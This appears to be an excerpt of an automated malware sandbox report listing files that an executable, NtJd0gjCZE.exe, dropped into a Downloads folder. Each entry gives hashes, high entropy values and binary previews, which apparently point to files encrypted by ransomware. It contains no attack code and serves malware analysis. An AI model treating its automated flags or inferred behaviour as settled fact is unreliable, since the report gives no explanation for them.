                                                                                SSDEEP:24:RA74+3Jqdtkq+cRlS90zZ970RcUp/GoLF3fCaHKP+mBqPeOcmrTfu/AiN:+3Jg+YRlSMZ6RT/DJCrEPegTfu/A+
                                                                                MD5:C5C0B935E545C57B0C08D5A01444C53A
                                                                                SHA1:BD5051F15B18AEEEC3C8E1AD0EA3652BA535B9FE
                                                                                SHA-256:0BA391405A0EFD18D2B8A01D6A45973F690F2267D5483075D21A44D6BB6D7397
                                                                                SHA-512:E800F588E1FAE47F2105AD35B4108DE504368DA66CBDF6AE723E7E8485D5DB04C6F85A71221D65F5E778DDBD6E52C281D0F608E2EAF82F2A0F8DA490A620EF0D
                                                                                Malicious:false
                                                                                Preview: .X.LLYC.A..}O...y..q..oSE.I...H7OBv'...t..T.3@y?v\0b......4.C...^p?...%P,..)D..)...Z.;t.....$..n.\.b....,Oo..I..a.+.*.l(.t.-Z..[..B?...7g..b4..y/b.,......X6.q^c..d,-....]...]|.lc......A..z]......i\...~8\f.IFq..Jp..'S.....M..Z.~....;T#...WT....0..0w.q'.......4.E.A....-..E...<.H......5.:>..*..5....t...7K.N.;K.7N...{z...V|...-.....8......X.n.I......H.d;..m....."..ei.<.qt...v.A....,.S;..2..Z./[...\.9.L...w'.?.xt,O.y...,..'.#w.....w.q....g=b...z.2@. .Y(....%.}...:...L5 .O.O.I(rA(.[%.~.?7...1.....D...).?....nr.G1.e..>..w..>f.Yo..".v..p.x.....z....k.w...gr..P.......D.......w..K.r...r_....m](.........m.....2v..+u.....S......`.2.k........B.&.2.Iop...*.a).i.].H......T..y.t...-.\.../k..... .I..#..,. ..i.....TxO1...L..3..t...I..@u..6Z.....Y..0TS."80...`%..d&....K..Vio.....\..PNDq.L.}.d.Te..g.:,....Kq.1..=B..O69.Di..K.(W..7..+....,...@5<.%..m*...ZCQ.o.......".'S.~W.....`N.-Z.d.0..3.k...+R#..!.4./6..A....8...D...T..7D.".@......FV|F.x.d.j5&.f:..EEJ..Rr.
                                                                                C:\Users\user\Downloads\EOWRVPQCCS.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8510274874100405
                                                                                Encrypted:false
                                                                                SSDEEP:24:zBnlza5QUgfSe8EZ3MD2CgimjixrfAwGgxU5SrlbIPrTfu/AFfe9/F:nza57lfDaUuoIDTfu/A5eX
                                                                                MD5:995A770E294DCB2673B2A6677626BE5B
                                                                                SHA1:ACCFD47519FB3AE1DD5A3B38EAF5B315C0AE0DDB
                                                                                SHA-256:5E356BC8025996FB4D298E8830B8C0F70D272BB05F1D892FF6F417167D5FBD21
                                                                                SHA-512:4BF9138BC3901F6B087C99FED0EF53F68236BD071F615FF9BE7065A842AB2F4DBCD010AABE4A47E84D5B2964A956D460BD19739CB186E03088B6DA222DD2C047
                                                                                Malicious:false
                                                                                Preview: ......:@9....D.dv...w7.....r|....[..z#..0.=N...Y...R+.u.......i..X.R...W.=..}.^I9P?....-et.@..*....l/..-......^du...rM=......k.9. %..Z..y....;.!......-.N..#.L#.-.D.!.1?(...........!.V..U...tf.JQ...S......C..?...S!r..1..|_.|.g.FX.Z.mk...)........H.J.ti...1Y.j.....d.8|.[Cvd&${p.....f=..fPcU...c..,A...C.M...n$z.~.4f>.KUeu...&.h....>...2-i...2.r%..C..McD.2..e.9..8?._...Qg.).Hw.....R#.*.]Ye...c.,(.....e..._JK.O......&;^.H...d.....d...o.-$.S.6...&..8F..7..:..d..2......._w........q.>9c?..r.=A.k..7. ^..R...S}...7.Y..Wm)....}Pa&U..[#.+...w.L..m..%..........L..4!..x.....A...(.B.....AH..X.Q6.q...F..V/q.c..[..n..Q..a...g.|...)....e...>.....y.....G....Uy..`r.)...Z. ..%.a=O..:...^k0=Q|.3....e..FC.J3.;`....z.J..B[......h......U......Z.c..U.."`.h......+....V..W.$.m...c........(...).f5..E..M.a...3AC.~..L z..&....~s.>"y..*.>..1..Xf.k&.=".......;.=...K.Y.5.L..T..PyLoN.h)@.p....~U. ...SS.!.....g*.....A...h..(u.;.Po.....T./....lrw...@.UC1c...RjX...L
                                                                                C:\Users\user\Downloads\EOWRVPQCCS.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.843220551000224
                                                                                Encrypted:false
                                                                                SSDEEP:24:0Sehd64G5GpsCW7GCw/Rws5nI6FKtBAk2ScF1/rTfu/Ap/aT:podLHvJCwGs5IdtsFxTfu/AET
                                                                                MD5:E9457B900D17C1EAD91F5594093C4DE5
                                                                                SHA1:6B5AF68C74C70E1CB546ED6598FBC96D04DF471F
                                                                                SHA-256:0C7CD9BC52DB6CDF55E64F885A9E05A007E56EDE5EF3F58368BE465012C3C84B
                                                                                SHA-512:369991B79212AA7AB83DDFD1526B7407EA9E4344AB37CC9C0012BAEFB7B1E8AC1B007709DB11C502CD076549F1250C246194D73924162DF69D8AED3A9C0D1BF4
                                                                                Malicious:false
                                                                                Preview: ...7..@..Jp[.YpS.p.....f:..s1.........$.....vVi...4..I...vu?5@/....M"{.[..!C..N.P2.O.L......)....,.K.d...............8;..@...G,.........M.V....r...5.cK.....q.)....~.P......Zo. .j...Li(av....(...YV&m ..fE2..".i....ev.o8..NhF....Z... ..:.o.o....y..?..4...a.1.].*....o.....@..P~"...r.....1 t.h.j........?..i.c.q.|...[;)..TqV-.5.>._..z.R.f.G.......-1P..>........#......u.;.S.B.R..z....K...M!..U....H.|y...c.3...VDu...u..:.`_..Y5.......#c.(|.<9t....B........^....\..f!A..&....=OW.s8G7...a.U..`......Yc.w.....3..xb.....k%......".f....J.X.GxV...pD.H...)i....Q".Y.nr...g.....q/....%.?...x.F..C..5.us..I.S.V..g...Ng.k.2.51Z:.;nN....SE#...q...t2.d.+........%=f..........Mc6...&..q....I.C.0...$iR..:C...}.cT.#.;.e.^...#...B.....R.HC'....*.z~}$.A....8.I..%:H...4e..x..?9..|X.i.`.0os.%...&G..Dp.da..}.n.w.aV......U=o..6...*..b....'.W..'....R%..T.....`.Z.\.......Jmh....p.K.r..b.....g<..`.b...%{..7.J|...di..r.n...q..=..QYr[[..M.b...w.*.ZP.c."n=9.....*[..2.
                                                                                C:\Users\user\Downloads\EOWRVPQCCS.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.852417419134214
                                                                                Encrypted:false
                                                                                SSDEEP:24:fVYf/5KSJMmSf080FU/Z2extUezy00Fah8TYb8Hw8mfHbRrTfu/AlqJ+:uf/5FJMmST0F/e/Uez6U8TzH0FTfu/A/
                                                                                MD5:0C5B63DE79D8937AF25779CBB10D5B2D
                                                                                SHA1:5AFAEB6B48BCD0D3894AFCC8BE237BFA201FDEBD
                                                                                SHA-256:D140430DEE774897D28F2A29D4B7E1BBFDFB9D8B2265CA3550FA5C8CF769326D
                                                                                SHA-512:EE41B5CEED6901BA62016624676CE0E0169EC56F4B040D5AD6F790B2ADBD7B387DAE1579B8D48F1DECC3A8135719E81486B806F1027DCB9757D41EECBE53C5A4
                                                                                Malicious:false
                                                                                Preview: ..M?.0/c..Q.........W...Y.@&....4..P..l.g...`...G.5.^"F..(.....N.T....&5..._N.iy.v.j.{A>.c.G..a?....U[l@..8J{..Wno.....n\N....{......S.fr ....)9`=Q.R....\.......>.Fq=....;....;..O......9.mI.*?.g...i.8\.....Z.e>....N..r.K..A.i^...... ..w..*.......k..%.yw.}....~.OH3..JbH..BZ....1...Z.....jZ2V..*|).wf!.....\.XXE.....\Q...t.8.:.$L.9.R....l...Pr.!.i8P...p.#.%..Q.......Z..-K.\G..W..v8UlD..+.Cas.I}../..n..y vC{.....V.&._`m..A.r.o8..~..8.Ms...`..U..:#d.....L.._.6=5.,DD.~]_\......W)........d.).......:..j9..o"/.!.+T..X$zx..z5...N..U.....D..Lv.\.},..U....2..e...*U.M......v.......)uM.......J!.e..?...1..TF^)..^>...w.2...ja..KF.=..(..V..].a.Z.+0x8.x.nj.\.34T..uI....tm.c^.G.5.k..y...-.........3....Ed...;Z1..M.f.....G.g.....X^+.7...G.V...F..".c.......X.j!z. ..[D.|;7.+>..K.5i9....RV..(.C.zD....Q...l.s^B.@C..L.^.....O|M.f...&|P.\..fT..sT..b..B....=.5....zP..V'.X.......-.!.4.B.>..TC.|..l...G.pa.K.L.V.f@..y..J..o.b....Qo)...9p7.`.<.Xa...I/...j...f9n..R..:f~k...E]Q.w
                                                                                C:\Users\user\Downloads\EWZCVGNOWT.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.857606753027222
                                                                                Encrypted:false
                                                                                SSDEEP:24:O5NzK/frONvcxpwYjsp27qSjYlH7vwzqrkIfRl5k5xDTc2xCQEHpUvrTfu/AW4Fm:CRK/fKNkv/y2clHRkI7cxs2uETfu/AW/
                                                                                MD5:9301C5C95FA6B42522962C916F970F47
                                                                                SHA1:9518FD077A9876EFF01B8048F8A194CEA0F7936F
                                                                                SHA-256:3F2793C42C1A2F6897CA663FD155BC082541ACE8EF55DB565D33468B0E1FD45B
                                                                                SHA-512:DCDA84FF3BA4F1D1835B517B648C5303675FDE858301B79C2CBF0723C4139BAE1EE59AE7296C1A01975653D389323848671103516BC6124D57D0EAD4E4C427E1
                                                                                Malicious:false
                                                                                Preview: ....~6...[........a.Vq.@$3...Lm...[.s.G..)..".......j...%B.a....!...v.i.t.n?*%b. >....^p..?J...t)^....hHy.y7..Kn....?w.n...g[..a.S.......P...,1...`7)...R......6..i...7..b...gO.8..9...Y....:..`\...5y.c.+..1at.....K......~....5R...=6..N...]..o...hU...Db... ..2...9..O<....&4.mU=\..z......w...o...jz......&.T......m....PAV4.x..B9.....@/6....!.r..u..%hq.bT.[k..0...Z.h.1...U.....&...Y.sT}....M.....[.....@2 \..i..G.aJ.i....J.|..".J......6.!Q../...p..-.......r.r.5.6....az..Hgb.M...wJ..l?.=..6Kj...F......?~........(....-.fj....iX"...8.D.YB...i....q)#u$...g1S.iH......N......y.R...I..>;.....u.J$.'../.~a..C..O..........Y.U=..LYa......0..%/....cjW..n.1..|..[C..f.5...}...\.*..WE.....Q0Z....f.....~.2.%T3..0.rGg.Z*.y.<.%hA^..).-<.(.--...$.... ?$...n..V.g..\_..^>$r2.....(...9rw#i..R;...O'`..l...D.g@3...-..b.....7....5t...B9.t.z).......{#........].....p^...{].I.....g.9B......3P.~..4.Py....y....^...T..}!7.....h.u(I.`|q........!..b.._....
                                                                                C:\Users\user\Downloads\GIGIYTFFYT.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.84029342303808
                                                                                Encrypted:false
                                                                                SSDEEP:24:w33w0d/alHwBY0nGXmODo0H+iTNXZ2K8YxKc14AH7Jw4KprTfu/Ahzi:V0wwBY0GXmuHlwjYFdiTfu/AQ
                                                                                MD5:74F19D139F51A6ECC3A67A6289A32E05
                                                                                SHA1:0EE6DB753B314FA857E4D33969D9D42BACADCC0F
                                                                                SHA-256:672F166FCC72FCBD6500BB418717ABEC4064737DAEFDDEF16B63D10492C155B7
                                                                                SHA-512:A3180E468CAAD926292E486745EFEE6BD5B510C436E0945C8DFA3D35649853379F5D948D6838FA338E50FA140628647C9DFAF4DE77082DCC1747D4BE04AC773A
                                                                                Malicious:false
                                                                                Preview: ....nP.31.s..0..5!m..5.W..%j.I.x.Q.lxd.R....n.w.E..,s.....!s...,...f..e.z....li...W(...~.?.l.U..7_Gp..+B#..%.....D..D...qDoF.{.H...x.6?......2..h.u....k..rH........ue.d.....*..;..e.?...V...U9.S..f0.....~...(.....xm..,j8p.E..V.p...I.g.....~l.__.wc..-...$...z`..1...*....q]j.]Y.=.E.s....4..&.A......ck.!..w..G.0Z....1..B.j...|.>+.=..&....g..u.....p.,sK.U}{ .......-..0.Lj.N..$S.3..!.a.....!n4..7.-...;3y...<..o....t4..m.e.D.z9.{..."v,R......7V.4t.p...4.w....u.3[@.a}v.RB..Z.m..WL).....z.t.....&...g1xD4.Nn...I.....Z....J/....G....'.d.i&....-....)._E......vsvq..?..L...$EhE(..".....~/$[.....jS....3.H.r@>.U...=Fl...$....A....[e.!.oHK.\..M.....3.X......g$.S .asH.0Ve$.;.o.Lf5-.|Tez.#_.'_n.I.p.".K. ..|....B...;C.Ow.....5..g>.!.wq...Y.....P....@U.K...m.N...4.j.A...-..U.D_..?.....T..E.!...@.\..l.y...BJ4......o..Lx0..o.:..U....s.:.][.+..+e!!X.......p....<..s....c8.n$W.k.U......<6..K .....^C....Y\...y.v..RU..V`...u.|..{n]N8.V..!s..C....M...\....
                                                                                C:\Users\user\Downloads\GRXZDKKVDB.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.840519416049106
                                                                                Encrypted:false
                                                                                SSDEEP:24:P+Ol3D1yXK8hxk5ljAXJoL6xMD/H/4aafEk9pB97zhWY7rTfu/AmYO:P+OlAjh8lACuxMLxzkXB97VTTfu/Ac
                                                                                MD5:62E02B1B911193ED2E88370D42755A93
                                                                                SHA1:81F01B22C42FB4CBDE9F4ADA8285594048AEEA12
                                                                                SHA-256:B2AABD3FA6741E44A1D4661F06BFF582C68D0B8F0618D9AACBF028220B8FA4B7
                                                                                SHA-512:DD966C34D9174E84387018EE373589683271F0839FEFC80E55953D14D5698F8C1DA0C42F9F8D8075202FF4D0A8D19C12E668566F361AFBDC27F800183C30C15C
                                                                                Malicious:false
                                                                                Preview: .R..?..*..?...P1..8....S>B.X..(.......z..].Z.........p..h.*..R].l...CU.+..^....q...9M...rv.zw...8q.d.......=.S...R3.j.qF..ud...x?{.O..~..V.... Kf{..a.%.A..#.U..|....HK...".6./....G..X..T.K..h<.'|L.W.|...Y..!..s.RH..H.4~:P...#.P..B...M..}......=..>.s...jX]wS..j....5d...r.p.........%.. C...3..O.t..$..u.|...93.[8.[.W.e.....0..}u..9..J..FY?.{........L.G.fC/.$..r.N...............t.>...'(E0..%......bs.:T^...%.=....,<1.A....<yu8..d.?.}V.)..\~.1..._.O.g..L!Z....|[.3..<...S...;...)5......#&\q..QY..)xU...=7aMJ...".'T5OO...G...`%j..%6...;..I!......A- }.B{.<un.....2..6.....ZDw..]....$.8.l..V!}..F?..8...z.......).1.X....y..._...q..B..k.m{K..N.j].e..e...o|.C.p...C.RK6..B.t...u.#d.| \].....T>..........l7.%.LO.w.m.D...0...).T4.u/....]8..IE.o..e.Q}.R...>*..?K.y....2U.*Q.yN...M...v.$Y.C..l78....I....q..j..xl....%#&....._...`2....G!..\......G6.....`E.Fc.K.i<...tk...I.:=..}......_.wI....2..k`u]..1.F..".....4.....!z...;...I............jS..I_..R..L`.
                                                                                C:\Users\user\Downloads\GRXZDKKVDB.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.854715616195734
                                                                                Encrypted:false
                                                                                SSDEEP:24:459SEKthyUlHO5CwL8BJSnc4NfLg2tP6iO1cGmtpDdNYJKZrTfu/Amv31:jBthyT5CxBJS5Bh1hkN8dNYJwTfu/AmN
                                                                                MD5:49978997DAEE3013F3A50AED946D3DAF
                                                                                SHA1:649E5EBD802C9298C00E5C316E8314FED1413137
                                                                                SHA-256:6774AFE9D53A865BD2FDC022141A1A41EE57B14F12FBECFF9530441CF61BA6A4
                                                                                SHA-512:4C999BDE20F3C149167BBA0AA289CE93E7C0E1A33A4EC185981E73986F7B8435A62B84C4B3703CFE0DFEE600928558F1B58EAD21E839BF0E14F2A67535BC5B1F
                                                                                Malicious:false
                                                                                Preview: S.......#...s.....yZ.+0&....Q.s..\i......;/.......E>.D..M.1U`...z.%.d>..2&`...yd..o.a.C.. .5.-J1..7.]m....i..H@..5.d.!......y16...pR.A...dE...N3'..Cn,Wz.9.`x....j.....v....E.y.n....Wj..0|\....].i..@....;.....L..>8.D....!..."..rW.q{w....l].N8$@.j(.\_.i&k..e.. ..i.Z".a..p....:....>.n..#m..=..Zfb....E..u.....7a.q...`.t..T...Mf....2....qG...*...z...$.gL..<].J...e.Y.F3...u..m..+ m..D..V.U.L..s).1..z)-R...q^"` ...P.K...1.....%.@.\. 4.:U..b.......aP...@.Qo.!.z..8..lv..~Bh.=h.+R.'.g5.|o:.&...S#....'..qA...;|..Y...V..A.U...dP..@Q........(=........Rs.qO.jfE.....z.z>w.#......r.....fQ.7.q.q.A.)b...=....m.W.b.....0.EP .....mz}(..JF97..^P&.@.:...............Dl..@.sB.c..\.......v,......KE/.K.L+......N6..C.r..P....q....-..V...G...bY......z.....iy..HgB%.<F.......^.44u.....;........Iw.....[........)F.5..<.E......?@w.`.....N...=V74B\L..w?.....s{z?(.).V[4}.m..S.`.v.ZN..p..3..N.N4.....m:.`.f[.,....C.R..YK.&>.......3....S.|Q.Y....-..W...\.%*....[.
                                                                                C:\Users\user\Downloads\NVWZAPQSQL.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.854103711622327
                                                                                Encrypted:false
                                                                                SSDEEP:24:STu+O7Kc1oUPWbCxGd7iYkLDeksi8Q1SBP0jLpOyQDSzfSYrTfu/AnZJm:7+6Kc1oUQ7iYkzsbQABP0jKDOTfu/AnK
                                                                                MD5:C79455D6B3CED426319E2816D7FAC461
                                                                                SHA1:DE1B8579A3705174F25A54FDF7B4FB89E03310E2
                                                                                SHA-256:8E1ADDCDEDD8D20C681AE66BA4A6BA92D15644B18816A92C18CA840D67A1409F
                                                                                SHA-512:8624EF97C2199486202A6208208DE49AF9A8A24AFE2D0158A3AFF1DAA1A85D1DA9B05850F2BC5C038667FB685F8D062CF83E62ECA312A3C2D2522D9A97BC8DAB
                                                                                Malicious:false
                                                                                Preview: .w...eVO_{..).Z..ux..\W.sR....3.6.......*_sxx:.r.#q.R...M"....c.<.........G\.....k.......^.Gr.'JMPQ/$.M...rVoi....3........4.M....:..C../.&.U.8.Z..[..+.G.6....P.~.....v9....{...z..7.l......|T=8.}=1Y.Lr..A................z.l.....@.^....(.J...y....Z.[.,2.FD..K..O.NE...q.h..q.U...$....8=..<H..*.v....$s...^.(*<.J..$...Pgt7.}2...C;..PnS.W.*..W...q.K.>...c.+F.N..UUwM>..,.......}i.. -..\SB...<8.......B..*..4.a....Tqf.#.d...7.=....>.:.e...E....-.}.!d"..EO..........I ..(...vW)......)...?.u..re..$.n......c..<...J...-.r.-.....i..f....g......Z.q...en...w..)..LN...d1.....P.}>c.J..X.E...q......G./>..K77.H.~6z..u._y.3...P2~g].*6..[fR...\.<..q!.._8.!.g....yg.(W.<..n...=....2[s..Kk..d....g...-=..fxj|..L..g.K..0.....Gx...=.......d..{q7D{o4?ds&..%g..;"..&.u.....9..d...6b...#..N)....%..=:1....n./6.GY...G.Cu.>.%2,...l;...a......A!....e.....l.OL.`.M..+o..G...9~..$...jdx.." RIQ.5...R../...j_...g....z.W.....W.S....S.. .C.Q.......S.N...w.&.. O.8..s..../....6..r...
                                                                                C:\Users\user\Downloads\NVWZAPQSQL.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.859228684174323
                                                                                Encrypted:false
                                                                                SSDEEP:24:wd4ncgXq8djeMJ6Rm64Ly8CqDa29/kKtep42TdrTfu/AKKwuclz:wd4n/1CzRmjyAoxTfu/AKvd
                                                                                MD5:6E0DA9F65980B19D6D0F7171CA86848E
                                                                                SHA1:EEA96B710393C74F43BF78873D80330111CD40AD
                                                                                SHA-256:4FBEBEEDCB948B67EB2A53235D4D21EE10354F5F686EA75F24EF1E30A6EE0501
                                                                                SHA-512:D41647974B968F776BE91973A6344DF2E4395BF6528638BF24E63CE10EBFF43910BE1DA2153B7A883F4F9BC3C63DDE32B00E5E499F7C3EF9AC5A2CB9DDEB22E0
                                                                                Malicious:false
                                                                                Preview: l.#32..6.{k....8..@....{.....X/.-..s.`;^..0.Z5.:.NP.,...2...A.......>.g]7!;...A..%..@k......P7.b...p......[_.w...U.....A.3N-./z.=....{.-..9W...V.o.>..z.0(...........{........l.nq.F.*.[F.i.b.=.s.+....h. .w.~q&Gy.8.;.^..:..&.U..Mh).7...rn.J.........."..r...4X.h7...{..I......f.. .M.+A.yA.J..3.Z......M.xc.l~..#...$.P.l|..................$.T.[[.M. ...O...G.".6|b'Dq.....QG^..{?g..>...h/.W.^..r...za..=]....$...9....l!......+m j.Cy..4.b.c.{.X.e.:....' .......{....xO..g..Om...ky...%R....K..B.`.O.}..,:.:.l......2.2...(..R.ov.z.UV..8...`.'.7O1qL....:..F...~Z..4...<..BzE..........I9.17.]i=.&...H....\j..4.....t...@..Y..-r.MU...).,.05.Q..y.K4E...~..F>.?~.<.......Jf.=d..[V..t...CX.'.w1....p.P....!*J..1.(1~...s....o:...=..w{,....KT.nD.....%......D.(............L.. m..f-;....J.W.#n.^....&>......c..H...D.).A..X..W#.jA..85hU".N{M}.<..2.i!.yq.}.*...XZ...yj.........3.dK..SM].L....v..a..g.xX.....Jc..)p....|.../?..<...#.s.|.3.tl.|...8.'..c5...gOw.)l.L./...&Q...
                                                                                C:\Users\user\Downloads\NVWZAPQSQL.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.871820749518679
                                                                                Encrypted:false
                                                                                SSDEEP:24:IWOBBghvTDC2E88NBm/rNnbJPhCtlms/wHlaTYKDbrTfu/AS25j8C:IPDxi/F1JCtAYLTfu/A/5j8C
                                                                                MD5:1F448751E50AD79F6CC1E6C7D9F06A71
                                                                                SHA1:5D942B5A8C08C03101DFFED0E0A2678F7136495C
                                                                                SHA-256:CBBA568CB666A03B7AF3578840D0987BB72C9E784B0E07A31967534CC1228AD1
                                                                                SHA-512:B6B72B9BC4A2945ADD8B01E71A6185F17A7AA4BDD71A8DFC6BD440C86B292AF173FE0EF5D1112F492CF5D8AF62A776382D2D9E41B17E318D7EADD84AF89BD1E3
                                                                                Malicious:false
                                                                                Preview: .. ..e...b..b.9d.....5f...........'..X".?.asE...v.r..)~..2.-..R.R....^.g.N..u.;.....IP...y1/......_.SZ.[.R&M...iW1....H.......{E..Vb?y[..b.K..3..Cv....l`En.... ....':0x.@*.....TQ.....k,.g...U..6 g.|.......v...m.r..e...z...g.S.Tug?vzq..aau74...X.j.b.A|Lr.....w.\wZ-.......+..W7......Z.z.M.....`A....k%..D.......u....V...=.*...r1...2.@.....}!..E...#.l|B...`.P....-`Pd~...X..6.5.sp..j..xe...D.....v.+.d....X,g.{.X....V.k...T.T......2b...e....l.6T\'..........tr..........2....'...CB.U.....H.d:3..t.j._(...}.Y..t.0.R}.~`.m..}$..+*$..l.O.....'..g9c.$........(.#r......?.G...V....@..4LT3.....G..Mq...e.O...M...(N.....C+..q...M....7q]..@..Xe.Y.....0...."h...<<C.8.aSm.5..)..P...1.....u.@.].E.(G8.&.}n..p=.8......U"...<.G..\f.B[r.V..........c>.G.{am%\W#...F.8...@rO.X[z.8...|....u\..t~).U........?....e.}F:..:].o..F:...(..PI..8.J..P{.s...Dm.:..b.,M..H3....R.e...q....k.;J.f..Dj..@.3...T.v.n..-yU.....0..(.5.5ZI.Akl.....t..Q4.FzC.>qF...[.....\.b..
                                                                                C:\Users\user\Downloads\PALRGUCVEH.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.875914324640434
                                                                                Encrypted:false
                                                                                SSDEEP:24:tWqEHuQxH+Q7P0IvBQzTIpK+lOCByqAsmil3Bpej0I7rTfu/AU:9E9xeQ7XvBQz8ZtyqfmA3KJTfu/AU
                                                                                MD5:38A4EEDE03D47DF2ED96622EB98AFE93
                                                                                SHA1:BD40DDD2625CCB39F9C2B87F9B2DCCDC558CCBFA
                                                                                SHA-256:C48E3B6E1CF54503CE9CE1BE681484CFB99D1EC11D1E46ECCC189AFC56812061
                                                                                SHA-512:C8E51604AA72A7EB1B2D08A2500463B4DCAAD749EF78B1EF760EB493EB2DDC950F67449179D5463822FEFDB0C3D04DD43050EEB416E627C189601343E0987500
                                                                                Malicious:false
                                                                                Preview: ....]...?e.1r...a0..f...I...@...#.\.......G.4.j.....-.j..lg8'2......p3f..4....g.../l.0......l;P.........L......D..g.x.p..W.;=.O.....h..K.-.....}........m1..S..z..<.|...7...\.qM...^..]...&..z..E4f..nL,.?..W.........Q..$)>..Di.)..-.n..M09....M..C.&C...NQ5O...........).{...=.....v.....`x.... .../.S+....Fe8.|@.F....V$..../...f9..g..~L3.d.^..Y.Q..;^...?o1.V_sT...X.T.....&...%'.;..a&.o).N]Q.y.....A.!C,...u.-.eJ..3..G.........|_,.C.,T\...B..+....Hb.}..+..."....\...........{@N..2.Z.}[;........~...m.3V#.k.P.9.....J=...V.@t.i.........BS....G.4..U.,.c..\CS..W....2.0Y.0[mI.B.$....9.,.d}...\".."..i....x..K.w.......n.^..G|. t%Z....0...}.......02y.~.\...q1......*.|.~S..%$....'.l...2...u....L'...W<._. .M.........y.L ..hKQ.j5..:S.. _.H.F..s....ry#.+..k3V@y.b.=R.TI.f..>Ne.v.c. ...2...]..g.;...{}.2..+C ..e.....V.<......W..V.y...qWx/.a[.5.K.g.....KM.K..[D...W+..P.]y..4{.a.7f1........8.....~.p&S2..T.E'E......T.+V[...G].d......{.te....0.'.....pmG.Y.
                                                                                C:\Users\user\Downloads\PIVFAGEAAV.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.844594325804601
                                                                                Encrypted:false
                                                                                SSDEEP:24:w/YWm9vV0tZWzTJkI9j0GFN515gZipaq0pwBKddHY18RjYk8LpsrTfu/Au:Gm15TJkkj0GFN515gZiZWYKd/9NTfu/N
                                                                                MD5:0C1180DBA6D73FE63DDB23F735C9803A
                                                                                SHA1:35A1F622FC6D03177A1AB0790F658A0506DB1A86
                                                                                SHA-256:EE068928A3B0B0E61156A3663E197F2F6B1571C33F425ED0B2DC20DEABF9C4F6
                                                                                SHA-512:828A8C7A37670CFBC5015B875694BC8CFDF34107B50FF0894F25383DF14BDCF23240E00629DA4E2D64A00A00946C74349A89BCAA748ED74FBD0636FA07D2F7C7
                                                                                Malicious:false
                                                                                Preview: 1AC...Z.."..L.c{..]..]..K...g.#.Y.....!W.T....U..mH.Kw.E..R. ....x3X..d.PQw.1.?N.....1b..............[T...u..Z..dJ.1......a5..~.|.....(...6!....08..J..*.......B.\...[..e.....je:.....g.56K.;.7.......ucGd.Y......q1..P.].........0.HU....F....;+.o.+.F........[R.....$.!g.q..FZ..3.....d.......9U.....!.."...$....M..a...k..Z .U............3.......#.&W.1IWv...+ z...?.'.O....4}{.....PTf.%.~..i.!).......L.<..e.....4E....,ts^...3....j&...HR41.(q.C.MCU...u.Rh:N.....b.H.]..\.LQv.).?....S.r.:.|1B.....'......"..'q..V.a.......P....C%.....H...}.Y.N{+p..m.fr...1.no>....A...o.....M6.k......Y......E......w\.xGGT.?........&K...C;...Ks04.kkg/&.=.Ee7...!Y|.......g.M1......6...A~.19..T...C.g%....Q)*..BYv.S).m.1f>...+..P.l.[.b.....=...LQ&Dd2.X...i_.I-M...vV.....J....,....'..853.(.j.X...<.(..7.p..-....E..)..U..........v..DW.#%..~v...R.r......+.D<RN-.....X..bZ..$.v..8.....r..;......X........L..7.y.9rz.Hg<{p...?6@)...[....J.\2..L.]. K.1.g<.i..Z.........i.+.1..~w.
                                                                                C:\Users\user\Downloads\PIVFAGEAAV.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.843507952430759
                                                                                Encrypted:false
                                                                                SSDEEP:24:62Fj6z69r6UeY5fHyDLWmXjhJza4pj9+OvfeGN5iaVOo1UfTC3Io4rTfu/A8n:9Fm692i0DBza4t9zvfe9xo1UbC3wTfuT
                                                                                MD5:9842E5C0B58917CFE8FF1881BC95168C
                                                                                SHA1:0B93AFDCE1ACC9E5866AA6C76704B8B0B2236D6F
                                                                                SHA-256:EFD56A6184210AF7A08CC663C14E002338E129DE9310D97EDAE9260091A63402
                                                                                SHA-512:907B9DD7F7EA48C2D79B84725A51FDC6B014D4CA92E1EBF336BE04FC6397A0D92EA767648987D777FA5813BAEE91D603A9BAB8E1EE1C524091DD334D40DC016B
                                                                                Malicious:false
